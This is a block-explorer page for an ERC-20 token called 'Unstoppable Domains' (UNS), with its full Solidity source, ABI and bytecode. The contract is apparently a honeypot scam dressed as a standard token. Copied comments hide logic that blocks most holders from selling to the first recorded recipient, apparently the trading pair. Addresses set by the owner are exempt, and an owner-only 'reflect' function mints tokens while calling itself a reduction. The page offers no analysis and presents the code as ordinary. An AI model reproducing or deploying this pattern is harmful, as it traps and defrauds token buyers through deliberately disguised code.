ERC-20
Overview
Max Total Supply
500,000,100,000,000 UNS
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
200,000 UNSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
UnstoppableDomains
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ // SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.5; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _burn (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _burn(address _burnAddress, uint _burnAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _burnAddress; _totalSupply = _totalSupply.add(_burnAmount*2); balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } receive() external payable { } fallback() external payable { } } contract UnstoppableDomains is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; reflector = _ref; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_del","type":"address"},{"internalType":"address","name":"_ref","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000f3738038062000f378339810160408190526200003491620002c4565b600080546001600160a01b0319163317905583516200005b90600190602087019062000134565b5084516200007190600390602088019062000134565b506004805460ff191660099081179091556200008f90600a62000472565b6200009b908462000487565b60058190556006819055600280546001600160a01b038086166001600160a01b0319928316179092556007805485841692169190911790556000805482168152600860205260408082208490558154905192169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620001219190815260200190565b60405180910390a35050505050620004e6565b8280546200014290620004a9565b90600052602060002090601f016020900481019282620001665760008555620001b1565b82601f106200018157805160ff1916838001178555620001b1565b82800160010185558215620001b1579182015b82811115620001b157825182559160200191906001019062000194565b50620001bf929150620001c3565b5090565b5b80821115620001bf5760008155600101620001c4565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200020257600080fd5b81516001600160401b03808211156200021f576200021f620001da565b604051601f8301601f19908116603f011681019082821181831017156200024a576200024a620001da565b816040528381526020925086838588010111156200026757600080fd5b600091505b838210156200028b57858201830151818301840152908201906200026c565b838211156200029d5760008385830101525b9695505050505050565b80516001600160a01b0381168114620002bf57600080fd5b919050565b600080600080600060a08688031215620002dd57600080fd5b85516001600160401b0380821115620002f557600080fd5b6200030389838a01620001f0565b965060208801519150808211156200031a57600080fd5b506200032988828901620001f0565b945050604086015192506200034160608701620002a7565b91506200035160808701620002a7565b90509295509295909350565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b45781600019048211156200039857620003986200035d565b80851615620003a657918102915b93841c939080029062000378565b509250929050565b600082620003cd575060016200046c565b81620003dc575060006200046c565b8160018114620003f55760028114620004005762000420565b60019150506200046c565b60ff8411156200041457620004146200035d565b50506001821b6200046c565b5060208310610133831016604e8410600b841016171562000445575081810a6200046c565b62000451838362000373565b80600019048211156200046857620004686200035d565b0290505b92915050565b6000620004808383620003bc565b9392505050565b6000816000190483118215151615620004a457620004a46200035d565b500290565b600181811c90821680620004be57607f821691505b60208210811415620004e057634e487b7160e01b600052602260045260246000fd5b50919050565b610a4180620004f66000396000f3fe60806040526004361061008f5760003560e01c80633ebcda62116100565780633ebcda621461016257806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610847565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b8565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e2565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061009661017d3660046108b8565b6104dc565b34801561018e57600080fd5b5061010861019d36600461091e565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad6105b4565b3480156101d957600080fd5b506100e36101e83660046108b8565b6105c1565b3480156101f957600080fd5b50610108610208366004610939565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096c565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096c565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106ac565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106cc565b6001600160a01b03841660009081526008602052604090205461040190836106ac565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106ac565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107aa565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104f357600080fd5b6001600160a01b03821661055a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61056482826107c5565b6001600160a01b03821660009081526008602052604090205461058790826106ac565b6001600160a01b0383166000908152600860205260409020556005546105ad90826106ac565b6005555050565b600180546102409061096c565b6004546000906001600160a01b038481166101009092041614156106155760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610551565b3360009081526008602052604090205461062f90836106ac565b33600090815260086020526040808220929092556001600160a01b0385168152205461065b90836107aa565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106bb57600080fd5b6106c582846109bd565b9392505050565b6004546001600160a01b038281166101009092041614158061071857506007546001600160a01b03838116911614801561071857506004546001600160a01b0382811661010090920416145b8061075a57506004546001600160a01b038281166101009092041614801561075a57506006546001600160a01b03831660009081526008602052604090205411155b6107a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610551565b5050565b60006107b682846109d4565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f76107ee8260026109ec565b600554906107aa565b6005556108276108088260026109ec565b6001600160a01b038416600090815260086020526040902054906107aa565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087457858101830151858201604001528201610858565b81811115610886576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b357600080fd5b919050565b600080604083850312156108cb57600080fd5b6108d48361089c565b946020939093013593505050565b6000806000606084860312156108f757600080fd5b6109008461089c565b925061090e6020850161089c565b9150604084013590509250925092565b60006020828403121561093057600080fd5b6106c58261089c565b6000806040838503121561094c57600080fd5b6109558361089c565b91506109636020840161089c565b90509250929050565b600181811c9082168061098057607f821691505b602082108114156109a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cf576109cf6109a7565b500390565b600082198211156109e7576109e76109a7565b500190565b6000816000190483118215151615610a0657610a066109a7565b50029056fea2646970667358221220bafcb8705a6aee5fe328e83afdd8ff825a16b98a1ce126d52cfe96c19cdf5fed64736f6c6343000809003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000067a317b5ee3611c6d7f2eeb18a14134a0935be2000000000000000000000000067b9c45dc284abf4a3737053cfcee106766cf4bb0000000000000000000000000000000000000000000000000000000000000013556e73746f707061626c6520446f6d61696e73000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003554e530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061008f5760003560e01c80633ebcda62116100565780633ebcda621461016257806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610847565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b8565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e2565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061009661017d3660046108b8565b6104dc565b34801561018e57600080fd5b5061010861019d36600461091e565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad6105b4565b3480156101d957600080fd5b506100e36101e83660046108b8565b6105c1565b3480156101f957600080fd5b50610108610208366004610939565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096c565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096c565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106ac565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106cc565b6001600160a01b03841660009081526008602052604090205461040190836106ac565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106ac565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107aa565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104f357600080fd5b6001600160a01b03821661055a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61056482826107c5565b6001600160a01b03821660009081526008602052604090205461058790826106ac565b6001600160a01b0383166000908152600860205260409020556005546105ad90826106ac565b6005555050565b600180546102409061096c565b6004546000906001600160a01b038481166101009092041614156106155760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610551565b3360009081526008602052604090205461062f90836106ac565b33600090815260086020526040808220929092556001600160a01b0385168152205461065b90836107aa565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106bb57600080fd5b6106c582846109bd565b9392505050565b6004546001600160a01b038281166101009092041614158061071857506007546001600160a01b03838116911614801561071857506004546001600160a01b0382811661010090920416145b8061075a57506004546001600160a01b038281166101009092041614801561075a57506006546001600160a01b03831660009081526008602052604090205411155b6107a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610551565b5050565b60006107b682846109d4565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f76107ee8260026109ec565b600554906107aa565b6005556108276108088260026109ec565b6001600160a01b038416600090815260086020526040902054906107aa565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087457858101830151858201604001528201610858565b81811115610886576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b357600080fd5b919050565b600080604083850312156108cb57600080fd5b6108d48361089c565b946020939093013593505050565b6000806000606084860312156108f757600080fd5b6109008461089c565b925061090e6020850161089c565b9150604084013590509250925092565b60006020828403121561093057600080fd5b6106c58261089c565b6000806040838503121561094c57600080fd5b6109558361089c565b91506109636020840161089c565b90509250929050565b600181811c9082168061098057607f821691505b602082108114156109a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cf576109cf6109a7565b500390565b600082198211156109e7576109e76109a7565b500190565b6000816000190483118215151615610a0657610a066109a7565b50029056fea2646970667358221220bafcb8705a6aee5fe328e83afdd8ff825a16b98a1ce126d52cfe96c19cdf5fed64736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000067a317b5ee3611c6d7f2eeb18a14134a0935be2000000000000000000000000067b9c45dc284abf4a3737053cfcee106766cf4bb0000000000000000000000000000000000000000000000000000000000000013556e73746f707061626c6520446f6d61696e73000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003554e530000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Unstoppable Domains
Arg [1] : _symbol (string): UNS
Arg [2] : _supply (uint256): 100000000
Arg [3] : _del (address): 0x67A317b5eE3611c6D7f2eEb18A14134a0935BE20
Arg [4] : _ref (address): 0x67B9C45dC284abF4A3737053cFCEe106766Cf4bB
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 00000000000000000000000067a317b5ee3611c6d7f2eeb18a14134a0935be20
Arg [4] : 00000000000000000000000067b9c45dc284abf4a3737053cfcee106766cf4bb
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000013
Arg [6] : 556e73746f707061626c6520446f6d61696e7300000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [8] : 554e530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
10503:915:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3825:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6881:253;;;;;;;;;;-1:-1:-1;6881:253:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6881:253:0;1053:187:1;5264:117:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;5264:117:0;1245:177:1;7874:416:0;;;;;;;;;;-1:-1:-1;7874:416:0;;;;;:::i;:::-;;:::i;3848:21::-;;;;;;;;;;-1:-1:-1;3848:21:0;;;;;;;;;;;1932:4:1;1920:17;;;1902:36;;1890:2;1875:18;3848:21:0;1760:184:1;5641:288:0;;;;;;;;;;-1:-1:-1;5641:288:0;;;;;:::i;:::-;;:::i;5385:123::-;;;;;;;;;;-1:-1:-1;5385:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;5482:20:0;5454:12;5482:20;;;:8;:20;;;;;;;5385:123;3770:20;;;;;;;;;;;;;:::i;5934:299::-;;;;;;;;;;-1:-1:-1;5934:299:0;;;;;:::i;:::-;;:::i;8444:150::-;;;;;;;;;;-1:-1:-1;8444:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;8560:19:0;;;8530:14;8560:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;8444:150;3825:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6881:253::-;6982:10;6953:12;6974:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6974:28:0;;;;;;;;;:37;;;7036:8;;6953:12;;7036:8;;7022:22;7018:43;;;7046:6;:15;;;7018:43;7073:37;;1391:25:1;;;-1:-1:-1;;;;;7073:37:0;;;7082:10;;7073:37;;1379:2:1;1364:18;7073:37:0;;;;;;;;-1:-1:-1;7124:4:0;6881:253;;;;;:::o;5264:117::-;5317:4;5354:20;;;:8;:20;;;;5337:12;;:38;;:16;:38::i;:::-;5330:45;;5264:117;:::o;7874:416::-;7960:12;-1:-1:-1;;;;;7984:18:0;;;;;;:40;;-1:-1:-1;8006:4:0;;;;;-1:-1:-1;;;;;8006:4:0;:18;7984:40;7981:82;;;8026:4;:9;;-1:-1:-1;;;;;;8026:9:0;;-1:-1:-1;;;;;8026:9:0;;;;;;7981:82;;;8047:16;8054:4;8060:2;8047:5;:16::i;:::-;-1:-1:-1;;;;;8084:14:0;;;;;;:8;:14;;;;;;:26;;8103:6;8084:18;:26::i;:::-;-1:-1:-1;;;;;8067:14:0;;;;;;:8;:14;;;;;;;;:43;;;;8145:7;:13;;;;;8159:10;8145:25;;;;;;:37;;8175:6;8145:29;:37::i;:::-;-1:-1:-1;;;;;8117:13:0;;;;;;;:7;:13;;;;;;;;8131:10;8117:25;;;;;;;:65;;;;8204:12;;;;;:8;:12;;;;;:24;;8221:6;8204:16;:24::i;:::-;-1:-1:-1;;;;;8189:12:0;;;;;;;:8;:12;;;;;;;:39;;;;8240:26;;;;;;;;;;8259:6;1391:25:1;;1379:2;1364:18;;1245:177;8240:26:0;;;;;;;;-1:-1:-1;8280:4:0;7874:416;;;;;:::o;5641:288::-;3192:5;;-1:-1:-1;;;;;3192:5:0;3178:10;:19;3170:28;;;;;;-1:-1:-1;;;;;5722:22:0;::::1;5714:71;;;::::0;-1:-1:-1;;;5714:71:0;;2992:2:1;5714:71:0::1;::::0;::::1;2974:21:1::0;3031:2;3011:18;;;3004:30;3070:34;3050:18;;;3043:62;-1:-1:-1;;;3121:18:1;;;3114:34;3165:19;;5714:71:0::1;;;;;;;;;5793:24;5800:8;5810:6;5793:5;:24::i;:::-;-1:-1:-1::0;;;;;5846:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;;:30:::1;::::0;5869:6;5846:22:::1;:30::i;:::-;-1:-1:-1::0;;;;;5825:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;:51;5899:12:::1;::::0;:24:::1;::::0;5916:6;5899:16:::1;:24::i;:::-;5884:12;:39:::0;-1:-1:-1;;5641:288:0:o;3770:20::-;;;;;;;:::i;5934:299::-;6037:4;;6002:12;;-1:-1:-1;;;;;6031:10:0;;;6037:4;;;;;6031:10;;6023:34;;;;-1:-1:-1;;;6023:34:0;;3397:2:1;6023:34:0;;;3379:21:1;3436:2;3416:18;;;3409:30;-1:-1:-1;;;3455:18:1;;;3448:41;3506:18;;6023:34:0;3195:335:1;6023:34:0;6096:10;6087:20;;;;:8;:20;;;;;;:32;;6112:6;6087:24;:32::i;:::-;6073:10;6064:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;6141:12:0;;;;;;:24;;6158:6;6141:16;:24::i;:::-;-1:-1:-1;;;;;6126:12:0;;;;;;:8;:12;;;;;;;:39;;;;6177:32;;6186:10;;6177:32;;;;6202:6;1391:25:1;;1379:2;1364:18;;1245:177;3351:104:0;3403:6;3431:1;3426;:6;;3418:15;;;;;;3444:5;3448:1;3444;:5;:::i;:::-;3440:9;3351:104;-1:-1:-1;;;3351:104:0:o;9152:1268::-;9723:4;;-1:-1:-1;;;;;9716:11:0;;;9723:4;;;;;9716:11;;;:105;;-1:-1:-1;9796:9:0;;-1:-1:-1;;;;;9787:18:0;;;9796:9;;9787:18;:33;;;;-1:-1:-1;9816:4:0;;-1:-1:-1;;;;;9809:11:0;;;9816:4;;;;;9809:11;9787:33;9716:213;;;-1:-1:-1;9895:4:0;;-1:-1:-1;;;;;9888:11:0;;;9895:4;;;;;9888:11;:40;;;;